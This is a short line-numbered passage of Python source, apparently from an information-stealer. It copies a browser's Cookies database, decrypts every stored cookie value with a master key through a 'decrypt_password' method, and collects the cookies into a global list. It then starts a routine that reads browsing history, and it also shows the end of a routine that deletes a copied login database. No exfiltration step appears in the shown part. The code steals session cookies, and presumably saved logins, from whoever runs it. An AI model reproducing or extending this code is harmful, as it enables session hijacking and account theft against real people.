(self, path: str, profile: str)
| 200 | os.remove('login_db') |
| 201 | |
| 202 | def get_cookies(self, path: str, profile: str): |
| 203 | cookie_db = f'{path}\\{profile}\\Network\\Cookies' |
| 204 | if not os.path.exists(cookie_db): |
| 205 | return |
| 206 | |
| 207 | try: |
| 208 | shutil.copy(cookie_db, 'cookie_db') |
| 209 | conn = sqlite3.connect('cookie_db') |
| 210 | cursor = conn.cursor() |
| 211 | cursor.execute( |
| 212 | 'SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies') |
| 213 | for row in cursor.fetchall(): |
| 214 | if not row[0] or not row[1] or not row[2] or not row[3]: |
| 215 | continue |
| 216 | |
| 217 | cookie = self.decrypt_password(row[3], self.master_key) |
| 218 | __COOKIES__.append(Types.Cookie( |
| 219 | row[0], row[1], row[2], cookie, row[4])) |
| 220 | |
| 221 | conn.close() |
| 222 | except Exception as e: |
| 223 | print(e) |
| 224 | |
| 225 | os.remove('cookie_db') |
| 226 | |
| 227 | def get_web_history(self, path: str, profile: str): |
| 228 | web_history_db = f'{path}\\{profile}\\History' |
nothing calls this directly
no test coverage detected